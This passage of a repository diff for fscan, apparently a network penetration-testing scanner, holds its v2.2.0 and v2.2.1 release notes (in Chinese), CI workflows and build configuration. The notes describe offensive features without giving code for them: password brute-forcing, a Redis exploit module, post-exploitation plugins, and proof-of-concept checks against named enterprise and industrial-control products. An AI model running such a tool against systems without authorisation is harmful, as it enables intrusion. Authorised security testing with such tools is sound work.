|
||||
- 移除 MaxHosts 硬限制,大网段不再被静默截断
|
||||
- 新增自适应并发调度,基于 RTT、丢包率、fd limit 自动推导扫描参数
|
||||
- 线程池升级为 AIMD + 慢启动,遇到资源耗尽时自动降速
|
||||
- `-gt` 全局超时正式生效,超时后会取消扫描任务
|
||||
- 新增 `-nsp`,可禁用网段预筛
|
||||
|
||||
### 服务识别与插件调度
|
||||
|
||||
- 修复非标准端口服务无法匹配插件的问题
|
||||
- 新增服务缓存和指纹驱动插件匹配
|
||||
- `-full` 模式下 Web 插件可覆盖所有开放端口
|
||||
- 不确定服务增加 HTTP 回退探测
|
||||
- 移除误导性的“无可用插件”日志
|
||||
- 用户指定 `-p` 时 UDP 插件按端口交集正确调度
|
||||
|
||||
### Web / POC 扫描
|
||||
|
||||
- 修复默认扫描 POC 结果缺失
|
||||
- 修复 `-hf` 批量扫描时 POC 缺失
|
||||
- 修复 HTTPS 端口误用 HTTP 扫描 POC
|
||||
- 修复 POC 结果文件只显示 `vulnerable` 不显示漏洞名称
|
||||
- POC 加载按 `pocpath` 隔离缓存,多 session 不再互相覆盖
|
||||
- 修复 CEL、reverseCheck、正则缓存等稳定性问题
|
||||
- `-nopoc` 禁用 POC 时不再输出误导性错误日志
|
||||
|
||||
### 新增协议插件
|
||||
|
||||
新增多种原生协议插件,覆盖邮件、Java 调试、文件共享、带外管理、UDP 和工控场景:
|
||||
|
||||
| 插件 | 用途 |
|
||||
|------|------|
|
||||
| IMAP / POP3 | 邮件服务器检测 |
|
||||
| JDWP | Java Debug 端口检测 |
|
||||
| NFS / RMI | 文件共享 / Java 远程调用 |
|
||||
| IPMI | 服务器带外管理 |
|
||||
| SNMP / DNS / BACnet / Modbus | 网络设备、DNS、工控协议检测 |
|
||||
|
||||
### Web 版
|
||||
|
||||
- 拆分 CLI / Web 入口
|
||||
- Web 版结果存储改为 SQLite 持久化
|
||||
- Web API 版本号改为动态读取
|
||||
|
||||
---
|
||||
|
||||
## Bug 修复摘要
|
||||
|
||||
- 修复 #586 默认扫描 POC 结果缺失
|
||||
- 修复 #587 `-hf` 批量扫描 POC 缺失
|
||||
- 修复 #588 非标准端口服务插件匹配问题
|
||||
- 修复 #590 Telnet Cisco MOTD 横幅误判 shell prompt
|
||||
- 修复 #591 HTTPS POC 协议错误与结果名称缺失
|
||||
- 修复 #592 service probe 空指针 panic
|
||||
- 修复 #593 `-ehf` 排除主机未生效,支持 IP / CIDR / range
|
||||
- 修复 UDP 插件阻塞导致扫描无法结束
|
||||
- 修复 SSH goroutine 泄漏和握手 deadline 问题
|
||||
- 修复 Redis exploit 超时和非超时错误处理
|
||||
- 修复 MongoDB SCRAM、Cassandra、Oracle 等协议问题
|
||||
- 修复 SOCKS5 代理认证、LM:NT hash、逗号分隔密码等参数问题
|
||||
- 修复非终端输出 ANSI 控制码覆盖结果
|
||||
- 修复 CSV / NDJSON / TXT 输出若干字段问题
|
||||
- 修复 ARM 32 位原子计数器对齐问题
|
||||
|
||||
---
|
||||
|
||||
## 升级注意
|
||||
|
||||
- WebUI 仍建议视为实验性能力
|
||||
- 本地后渗透插件仅用于授权环境
|
||||
- v2.2.0 改动较大,建议从 v2.1.3 升级的用户先在测试环境验证扫描参数
|
||||
- 如依赖旧版本输出格式,请重点检查 POC、SERVICE、VULN 结果字段
|
||||
|
||||
---
|
||||
|
||||
## 版本说明
|
||||
|
||||
| 版本 | 说明 |
|
||||
|------|------|
|
||||
| **fscan** | 标准版,包含全部插件(推荐) |
|
||||
| **fscan-nolocal** | 精简版,不含本地模块(体积更小) |
|
||||
| **fscan-web** | WebUI 版,带 Web 管理界面(主流平台) |
|
||||
|
||||
## 平台支持
|
||||
|
||||
| 平台 | 架构 |
|
||||
|------|------|
|
||||
| Linux | x64, x32, arm64, armv5/6/7, mips, mips64, mipsle |
|
||||
| Windows | x64, x32 |
|
||||
| macOS | x64, arm64 |
|
||||
| FreeBSD | x64, x32, arm64, armv5/6/7 |
|
||||
| Solaris | x64 |
|
||||
|
||||
---
|
||||
|
||||
## 校验
|
||||
|
||||
本版本已通过:
|
||||
|
||||
- `go test ./...`
|
||||
- 近期 Issue 回归验证
|
||||
- 本地 HTTP / HTTPS POC 扫描验证
|
||||
- `-hf` 批量 POC 扫描验证
|
||||
- `-ehf` IP / CIDR 排除验证
|
||||
|
||||
完整变更记录见:
|
||||
|
||||
https://github.com/shadow1ng/fscan/compare/v2.1.3...v2.2.0
|
||||
@@ -0,0 +1,64 @@
|
||||
# fscan v2.2.1
|
||||
|
||||
v2.2.1 是 v2.2 系列的稳定性修复版本,重点解决大规模扫描提前结束、开放端口漏扫、服务识别误差和协议插件异常,并扩充常见内网产品的 POC 覆盖。
|
||||
|
||||
---
|
||||
|
||||
## 重点变化
|
||||
|
||||
### 扫描稳定性
|
||||
|
||||
- 默认不再启用全局扫描超时,避免大网段或弱网络环境下扫描被整体提前终止
|
||||
- `-gt` 仍可用于显式设置全局超时;嵌入式 SDK 同样支持按需配置
|
||||
- 修复高并发场景下自适应超时过低导致开放端口漏扫的问题
|
||||
- 扫描异常退出时正常执行结果清理和落盘,避免主结果为空及 `.realtime.tmp` 残留
|
||||
|
||||
### 服务识别与协议插件
|
||||
|
||||
- 修复 `-nobr` 下 VNC 仍继续尝试密码的问题
|
||||
- Telnet 未授权结果增加真实命令执行验证,降低提示符误报
|
||||
- SSH 服务识别支持 RFC 4253 允许的 identification 前提示行
|
||||
- 修复 RDP Fast-Path 数据早于监听器初始化时触发的 nil pointer panic
|
||||
- 通用 SSL/TLS 指纹不再直接判定为 Web 服务,减少 MQTT TLS 等非 HTTP 服务的握手报错
|
||||
|
||||
### POC 覆盖
|
||||
|
||||
新增 100 个经过整理的内网常见产品 POC,覆盖:
|
||||
|
||||
- 泛微、致远、蓝凌、万户、通达、用友、金蝶、金蝶云星空
|
||||
- H3C、海康威视、锐捷、深信服、契约锁、帆软
|
||||
- Nacos、Kubernetes、GitLab、Jenkins、Hadoop、Spark、Solr、Elastic Stack 等
|
||||
|
||||
同时补充第三方来源说明,并为新增 POC 增加加载测试。
|
||||
|
||||
---
|
||||
|
||||
## 已解决 Issue
|
||||
|
||||
- #596 Telnet 未授权误报
|
||||
- #598 高并发下开放端口漏扫
|
||||
- #599 `-nobr` 未阻止 VNC 密码尝试
|
||||
- #600 TLS 服务扫描报错、结果文件为空及临时文件残留
|
||||
- #601 SSH 服务端口无法识别
|
||||
- #603 RDP Fast-Path nil pointer panic
|
||||
|
||||
---
|
||||
|
||||
## 升级说明
|
||||
|
||||
- 从 v2.2.0 可直接升级
|
||||
- 如需限制整个扫描任务的最长运行时间,请显式传入 `-gt <秒数>`
|
||||
- POC 仅用于已获授权的安全测试环境
|
||||
|
||||
## 校验
|
||||
|
||||
本版本已通过:
|
||||
|
||||
- `go test ./...`
|
||||
- GitHub Actions 测试构建
|
||||
- GoReleaser 全平台 snapshot 构建
|
||||
- VNC、SSH、RDP、Telnet 和 Web 服务识别回归测试
|
||||
|
||||
完整变更记录:
|
||||
|
||||
https://github.com/shadow1ng/fscan/compare/v2.2.0...v2.2.1
|
||||
@@ -0,0 +1,81 @@
|
||||
name: Project 自动化
|
||||
|
||||
on:
|
||||
issues:
|
||||
types: [opened, closed, reopened]
|
||||
|
||||
env:
|
||||
PROJECT_URL: https://github.com/users/shadow1ng/projects/1
|
||||
|
||||
jobs:
|
||||
# Issue/PR 创建时添加到 Project,状态设为"要搞"
|
||||
add-to-project:
|
||||
if: github.event.action == 'opened'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Add to project
|
||||
uses: actions/[email protected]
|
||||
id: add
|
||||
with:
|
||||
project-url: ${{ env.PROJECT_URL }}
|
||||
github-token: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: Set status to 要搞
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
gh project item-edit \
|
||||
--project-id PVT_kwHOAl0Kfs4BCgG2 \
|
||||
--id ${{ steps.add.outputs.itemId }} \
|
||||
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
|
||||
--single-select-option-id f75ad846
|
||||
|
||||
# Issue/PR 关闭时状态设为"搞定"
|
||||
close-item:
|
||||
if: github.event.action == 'closed'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get item ID
|
||||
id: get-item
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
ITEM_ID=$(gh project item-list 1 --owner shadow1ng --format json | \
|
||||
jq -r '.items[] | select(.content.number == ${{ github.event.issue.number || github.event.pull_request.number }}) | .id')
|
||||
echo "item_id=$ITEM_ID" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Set status to 搞定
|
||||
if: steps.get-item.outputs.item_id != ''
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
gh project item-edit \
|
||||
--project-id PVT_kwHOAl0Kfs4BCgG2 \
|
||||
--id ${{ steps.get-item.outputs.item_id }} \
|
||||
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
|
||||
--single-select-option-id 98236657
|
||||
|
||||
# Issue/PR 重新打开时状态设为"在搞"
|
||||
reopen-item:
|
||||
if: github.event.action == 'reopened'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get item ID
|
||||
id: get-item
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
ITEM_ID=$(gh project item-list 1 --owner shadow1ng --format json | \
|
||||
jq -r '.items[] | select(.content.number == ${{ github.event.issue.number || github.event.pull_request.number }}) | .id')
|
||||
echo "item_id=$ITEM_ID" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Set status to 在搞
|
||||
if: steps.get-item.outputs.item_id != ''
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
gh project item-edit \
|
||||
--project-id PVT_kwHOAl0Kfs4BCgG2 \
|
||||
--id ${{ steps.get-item.outputs.item_id }} \
|
||||
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
|
||||
--single-select-option-id 47fc9ee4
|
||||
@@ -0,0 +1,149 @@
|
||||
name: 发布
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
tags:
|
||||
- 'v*'
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
snapshot:
|
||||
description: '仅测试构建(不发布)'
|
||||
type: boolean
|
||||
default: false
|
||||
draft:
|
||||
description: '创建草稿发布'
|
||||
type: boolean
|
||||
default: false
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
|
||||
env:
|
||||
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
|
||||
|
||||
jobs:
|
||||
auto-tag:
|
||||
if: ${{ github.event_name == 'push' && github.ref == 'refs/heads/main' }}
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 5
|
||||
outputs:
|
||||
tag: ${{ steps.version.outputs.tag }}
|
||||
|
||||
steps:
|
||||
- name: 检出代码
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: 读取版本号
|
||||
id: version
|
||||
shell: bash
|
||||
run: |
|
||||
VERSION=$(sed -n 's/^[[:space:]]*version = "\(.*\)"/\1/p' common/globals.go)
|
||||
if [ -z "$VERSION" ]; then
|
||||
echo "❌ 无法从 common/globals.go 读取版本号"
|
||||
exit 1
|
||||
fi
|
||||
TAG="v${VERSION}"
|
||||
echo "version=${VERSION}" >> "$GITHUB_OUTPUT"
|
||||
echo "tag=${TAG}" >> "$GITHUB_OUTPUT"
|
||||
echo "准备发布 ${TAG}"
|
||||
|
||||
- name: 创建发布标签
|
||||
shell: bash
|
||||
run: |
|
||||
TAG="${{ steps.version.outputs.tag }}"
|
||||
|
||||
if git ls-remote --exit-code --tags origin "refs/tags/${TAG}" >/tmp/tag-ref 2>/dev/null; then
|
||||
git fetch --force origin "refs/tags/${TAG}:refs/tags/${TAG}"
|
||||
TAG_COMMIT=$(git rev-list -n 1 "${TAG}")
|
||||
HEAD_COMMIT=$(git rev-parse HEAD)
|
||||
if [ "$TAG_COMMIT" = "$HEAD_COMMIT" ]; then
|
||||
echo "✅ ${TAG} 已指向当前提交,跳过创建"
|
||||
exit 0
|
||||
fi
|
||||
echo "❌ ${TAG} 已存在,但不指向当前提交"
|
||||
echo "tag: ${TAG_COMMIT}"
|
||||
echo "head: ${HEAD_COMMIT}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
git config user.name "github-actions[bot]"
|
||||
git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
|
||||
git tag -a "${TAG}" -m "Release ${TAG}"
|
||||
git push origin "${TAG}"
|
||||
|
||||
release:
|
||||
needs: [auto-tag]
|
||||
if: ${{ always() && (startsWith(github.ref, 'refs/tags/') || github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/main' && needs.auto-tag.result == 'success')) }}
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 90
|
||||
|
||||
steps:
|
||||
- name: 检出代码
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: 解析发布标签
|
||||
id: release_tag
|
||||
shell: bash
|
||||
env:
|
||||
AUTO_TAG: ${{ needs.auto-tag.outputs.tag }}
|
||||
SNAPSHOT: ${{ inputs.snapshot }}
|
||||
run: |
|
||||
if [[ "${GITHUB_REF}" == refs/tags/* ]]; then
|
||||
TAG="${GITHUB_REF_NAME}"
|
||||
elif [ "${GITHUB_EVENT_NAME}" = "push" ] && [ "${GITHUB_REF}" = "refs/heads/main" ]; then
|
||||
TAG="${AUTO_TAG}"
|
||||
git fetch --force origin "refs/tags/${TAG}:refs/tags/${TAG}"
|
||||
elif [ "${GITHUB_EVENT_NAME}" = "workflow_dispatch" ] && [ "${SNAPSHOT}" = "true" ]; then
|
||||
TAG="${GITHUB_REF_NAME}"
|
||||
else
|
||||
echo "❌ 非 snapshot 手动发布必须从 tag 触发"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "tag=${TAG}" >> "$GITHUB_OUTPUT"
|
||||
echo "RELEASE_TAG=${TAG}" >> "$GITHUB_ENV"
|
||||
|
||||
- name: 准备 Release Notes
|
||||
if: ${{ !inputs.snapshot }}
|
||||
run: |
|
||||
TAG="${RELEASE_TAG}"
|
||||
NOTES_FILE=".github/release-notes/${TAG}.md"
|
||||
|
||||
if [ -f "$NOTES_FILE" ]; then
|
||||
echo "📝 找到版本 Release Notes: $NOTES_FILE"
|
||||
cp "$NOTES_FILE" /tmp/release-notes.md
|
||||
else
|
||||
echo "⚠️ 未找到 $NOTES_FILE,使用自动生成的 changelog"
|
||||
echo "" > /tmp/release-notes.md
|
||||
fi
|
||||
|
||||
echo "RELEASE_NOTES_FILE=/tmp/release-notes.md" >> $GITHUB_ENV
|
||||
|
||||
- name: 构建和发布
|
||||
uses: ./.github/actions/build-release
|
||||
with:
|
||||
mode: ${{ inputs.snapshot && 'snapshot' || 'release' }}
|
||||
go-version: '1.25'
|
||||
retention-days: '90'
|
||||
release-args: ${{ inputs.draft && '--draft' || '' }}
|
||||
|
||||
- name: 更新 Release Notes
|
||||
if: ${{ !inputs.snapshot && env.RELEASE_NOTES_FILE != '' }}
|
||||
env:
|
||||
GH_TOKEN: ${{ github.token }}
|
||||
run: |
|
||||
TAG="${RELEASE_TAG}"
|
||||
NOTES_FILE="${RELEASE_NOTES_FILE}"
|
||||
|
||||
if [ -s "$NOTES_FILE" ]; then
|
||||
echo "📝 更新 Release Notes..."
|
||||
# 用版本特定的 notes 替换 goreleaser 生成的 body
|
||||
gh release edit "$TAG" --notes-file "$NOTES_FILE"
|
||||
echo "✅ Release Notes 已更新"
|
||||
fi
|
||||
@@ -0,0 +1,192 @@
|
||||
name: 测试构建
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
- dev
|
||||
- dev-*
|
||||
- develop
|
||||
- feature/*
|
||||
paths-ignore:
|
||||
- '*.md'
|
||||
- '*.txt'
|
||||
- 'README*'
|
||||
- 'LICENSE*'
|
||||
- 'image/**'
|
||||
- 'TestDocker/**'
|
||||
- '**/*.png'
|
||||
- '**/*.jpg'
|
||||
- '**/*.jpeg'
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
- master
|
||||
- dev
|
||||
paths-ignore:
|
||||
- '*.md'
|
||||
- '*.txt'
|
||||
- 'README*'
|
||||
- 'LICENSE*'
|
||||
- 'image/**'
|
||||
- 'TestDocker/**'
|
||||
- '**/*.png'
|
||||
- '**/*.jpg'
|
||||
- '**/*.jpeg'
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
env:
|
||||
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
name: 代码检查
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 10
|
||||
|
||||
steps:
|
||||
- name: 检出代码
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: 设置 Go 环境
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version: '1.25'
|
||||
cache: true
|
||||
|
||||
- name: 运行 golangci-lint
|
||||
run: |
|
||||
# 安装 golangci-lint v2 (需 Go 1.22+,仅用于静态分析,不影响二进制兼容性)
|
||||
go install github.com/golangci/golangci-lint/v2/cmd/[email protected]
|
||||
|
||||
# 运行检查
|
||||
golangci-lint run --timeout=5m > lint_output.txt 2>&1 || true
|
||||
cat lint_output.txt
|
||||
|
||||
# 过滤非关键问题(复杂度建议和 staticcheck 风格建议不阻塞 CI)
|
||||
CRITICAL=$(grep -E "\.go:[0-9]+:[0-9]+:" lint_output.txt \
|
||||
| grep -vE "gocognit|gocyclo|QF[0-9]+| S[0-9]+|ST[0-9]+" || true)
|
||||
if [ -n "$CRITICAL" ]; then
|
||||
echo "❌ Linting failed with critical issues:"
|
||||
echo "$CRITICAL" | head -20
|
||||
exit 1
|
||||
fi
|
||||
echo "✅ Lint 检查通过"
|
||||
|
||||
- name: 检查代码复杂度(质量门禁)
|
||||
run: |
|
||||
echo "### 🚦 复杂度质量门禁" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 检查认知复杂度>80的函数
|
||||
COMPLEX_FUNCS=$(golangci-lint run --disable-all --enable=gocognit --out-format=line-number 2>&1 | grep "cognitive complexity" | grep -v "typechecking" || true)
|
||||
|
||||
if [ -n "$COMPLEX_FUNCS" ]; then
|
||||
HIGH_COMPLEX=$(echo "$COMPLEX_FUNCS" | awk '{print $NF}' | sed 's/[()]//g' | awk -F'>' '{if ($1 > 80) print}' | wc -l)
|
||||
|
||||
if [ "$HIGH_COMPLEX" -gt 0 ]; then
|
||||
echo "❌ **发现 $HIGH_COMPLEX 个复杂度>80的函数**" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo '```' >> $GITHUB_STEP_SUMMARY
|
||||
echo "$COMPLEX_FUNCS" | awk '{print $NF}' | sed 's/[()]//g' | awk -F'>' '{if ($1 > 80) print "复杂度:", $1, "- 必须重构"}' >> $GITHUB_STEP_SUMMARY
|
||||
echo '```' >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "⚠️ 请重构复杂度>80的函数后再提交" >> $GITHUB_STEP_SUMMARY
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
echo "✅ 代码复杂度检查通过(所有函数≤80)" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
test:
|
||||
name: 单元测试和构建
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 10
|
||||
needs: lint
|
||||
|
||||
steps:
|
||||
- name: 检出代码
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: 设置 Go 环境
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version: '1.25'
|
||||
cache: true
|
||||
|
||||
- name: 下载依赖
|
||||
run: |
|
||||
go mod download
|
||||
go mod verify
|
||||
|
||||
- name: 运行测试
|
||||
run: |
|
||||
# 排除第三方grdp库测试(存在环境依赖问题)
|
||||
PKGS=$(go list ./... | grep -v '/libs/grdp/')
|
||||
go test -vet=off -race -coverprofile=coverage.out -covermode=atomic $PKGS
|
||||
|
||||
- name: 上传覆盖率
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: coverage-report
|
||||
path: coverage.out
|
||||
retention-days: 7
|
||||
|
||||
- name: 显示覆盖率
|
||||
run: |
|
||||
echo "### 测试覆盖率报告" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
go tool cover -func=coverage.out >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
- name: 检查覆盖率(质量门禁)
|
||||
run: |
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "### 🚦 覆盖率质量门禁" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 提取总体覆盖率(awk 整数比较,不需要 bc)
|
||||
TOTAL_COVERAGE=$(go tool cover -func=coverage.out | grep total | awk '{print int($3)}')
|
||||
|
||||
echo "总体覆盖率: ${TOTAL_COVERAGE}%" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 警告阈值:总体<40%
|
||||
if [ "$TOTAL_COVERAGE" -lt 40 ]; then
|
||||
echo "⚠️ **警告**: 总体覆盖率 ${TOTAL_COVERAGE}% < 40%,建议补充测试" >> $GITHUB_STEP_SUMMARY
|
||||
fi
|
||||
|
||||
# 检查是否有新增的未测试文件(0%覆盖率)
|
||||
ZERO_COVERAGE_FILES=$(go tool cover -func=coverage.out | awk '$3 == "0.0%" && $1 !~ /_test\.go/' | wc -l)
|
||||
if [ "$ZERO_COVERAGE_FILES" -gt 0 ]; then
|
||||
echo "⚠️ **警告**: 发现 $ZERO_COVERAGE_FILES 个文件覆盖率为0%" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "请为新代码补充单元测试" >> $GITHUB_STEP_SUMMARY
|
||||
else
|
||||
echo "✅ 覆盖率检查通过" >> $GITHUB_STEP_SUMMARY
|
||||
fi
|
||||
|
||||
build:
|
||||
name: 构建验证
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 5
|
||||
needs: test
|
||||
|
||||
steps:
|
||||
- name: 检出代码
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: 设置 Go 环境
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version: '1.25'
|
||||
cache: true
|
||||
|
||||
- name: 构建验证
|
||||
run: |
|
||||
# 只验证能否编译通过,不需要多平台构建
|
||||
echo "🔨 验证 Linux/amd64 构建..."
|
||||
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o /dev/null .
|
||||
echo "✅ 构建成功"
|
||||
+102
@@ -0,0 +1,102 @@
|
||||
result.txt
|
||||
result.json
|
||||
/main
|
||||
.idea
|
||||
fscan.exe
|
||||
/fscan
|
||||
fscanapi.csv
|
||||
|
||||
# IDE files / IDE 文件
|
||||
.vscode/
|
||||
.cursor/
|
||||
.cursorrules
|
||||
.claude/
|
||||
|
||||
# Local development files / 本地开发文件
|
||||
*.local
|
||||
*.tmp
|
||||
*.temp
|
||||
.env
|
||||
.env.local
|
||||
.env.development
|
||||
.env.test
|
||||
.env.production
|
||||
|
||||
# OS files / 操作系统文件
|
||||
.DS_Store
|
||||
.DS_Store?
|
||||
._*
|
||||
.Spotlight-V100
|
||||
.Trashes
|
||||
ehthumbs.db
|
||||
Thumbs.db
|
||||
desktop.ini
|
||||
|
||||
# Logs / 日志文件
|
||||
*.log
|
||||
logs/
|
||||
log/
|
||||
|
||||
# Test coverage / 测试覆盖率
|
||||
coverage.txt
|
||||
coverage.html
|
||||
*.cover
|
||||
*.out
|
||||
coverage*.out
|
||||
|
||||
# Test artifacts / 测试产物
|
||||
*_report.txt
|
||||
*_output.txt
|
||||
*_test_*.txt
|
||||
race_report.txt
|
||||
test_output.txt
|
||||
|
||||
# Build artifacts / 构建产物
|
||||
build/
|
||||
bin/
|
||||
*.exe
|
||||
*.dll
|
||||
*.so
|
||||
*.dylib
|
||||
/fscan_cli
|
||||
/fscan_web
|
||||
/embed-agent
|
||||
|
||||
# Web UI build / Web前端构建
|
||||
web-ui/node_modules/
|
||||
web-ui/dist/
|
||||
!web/dist/
|
||||
|
||||
# Go specific / Go 相关
|
||||
vendor/
|
||||
*.test
|
||||
*.prof
|
||||
*.mem
|
||||
*.cpu
|
||||
__debug_bin*
|
||||
go.work
|
||||
go.work.sum
|
||||
|
||||
# Performance profiling / 性能分析
|
||||
profiles/
|
||||
|
||||
# Local development tools / 本地开发工具
|
||||
.air.toml
|
||||
air_tmp/
|
||||
|
||||
# Todo files / Todo文件
|
||||
Todo列表.md
|
||||
*todo*.md
|
||||
*TODO*.md
|
||||
|
||||
# Claude documentation / Claude文档
|
||||
.claude_docs/
|
||||
|
||||
# Cleaner plugin artifacts / 清理插件产物
|
||||
cleanup.bat
|
||||
cleanup.sh
|
||||
cleanup_script_*
|
||||
|
||||
# Compilation objects / 编译对象文件
|
||||
*.o
|
||||
*.a
|
||||
@@ -0,0 +1,52 @@
|
||||
# golangci-lint v2 配置
|
||||
version: "2"
|
||||
|
||||
run:
|
||||
timeout: 5m
|
||||
|
||||
linters:
|
||||
default: none
|
||||
enable:
|
||||
- govet
|
||||
- errcheck
|
||||
- staticcheck
|
||||
- unused
|
||||
- ineffassign
|
||||
- gocyclo
|
||||
- gocognit
|
||||
settings:
|
||||
govet:
|
||||
disable:
|
||||
- printf
|
||||
errcheck:
|
||||
check-type-assertions: true
|
||||
exclude-functions:
|
||||
- (net.Conn).Close
|
||||
- (*os.File).Close
|
||||
- os.Remove
|
||||
- (github.com/hirochachacha/go-smb2.Session).Logoff
|
||||
- (github.com/hirochachacha/go-smb2.Share).Umount
|
||||
gocyclo:
|
||||
min-complexity: 35
|
||||
gocognit:
|
||||
min-complexity: 80
|
||||
exclusions:
|
||||
generated: lax
|
||||
rules:
|
||||
- path: _test\.go
|
||||
linters:
|
||||
- gocyclo
|
||||
- gocognit
|
||||
- errcheck
|
||||
- linters:
|
||||
- govet
|
||||
text: "fieldalignment:"
|
||||
paths:
|
||||
- vendor
|
||||
- testdocker
|
||||
- image
|
||||
- libs/grdp
|
||||
|
||||
issues:
|
||||
max-issues-per-linter: 50
|
||||
max-same-issues: 3
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2021 shadow1ng
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,191 @@
|
||||
# fscan Makefile
|
||||
# 提供统一的构建、测试、检查命令
|
||||
|
||||
.PHONY: help test test-cover build build-web build-ui build-debug build-race lint lint-fix clean ci deps install-tools stress-test
|
||||
|
||||
# 默认目标
|
||||
.DEFAULT_GOAL := help
|
||||
|
||||
# 项目配置
|
||||
BINARY_NAME := fscan
|
||||
GO := go
|
||||
GOLANGCI_LINT := golangci-lint
|
||||
|
||||
# 颜色输出
|
||||
BLUE := \033[0;34m
|
||||
GREEN := \033[0;32m
|
||||
RED := \033[0;31m
|
||||
NC := \033[0m # No Color
|
||||
|
||||
## help: 显示帮助信息
|
||||
help:
|
||||
@echo "$(BLUE)fscan 构建工具$(NC)"
|
||||
@echo ""
|
||||
@echo "$(GREEN)可用命令:$(NC)"
|
||||
@grep -E '^## ' $(MAKEFILE_LIST) | sed 's/^## / /'
|
||||
@echo ""
|
||||
|
||||
## deps: 下载依赖
|
||||
deps:
|
||||
@echo "$(BLUE)下载依赖...$(NC)"
|
||||
$(GO) mod download
|
||||
$(GO) mod verify
|
||||
@echo "$(GREEN)✓ 依赖下载完成$(NC)"
|
||||
|
||||
## test: 运行测试
|
||||
test:
|
||||
@echo "$(BLUE)运行测试...$(NC)"
|
||||
# 禁用go test内置的vet检查,因为i18n.GetTextF的间接格式化模式与vet的printf检查冲突
|
||||
# golangci-lint会运行完整的vet检查(已在.golangci.yml中禁用printf)
|
||||
$(GO) test -vet=off -race -v ./...
|
||||
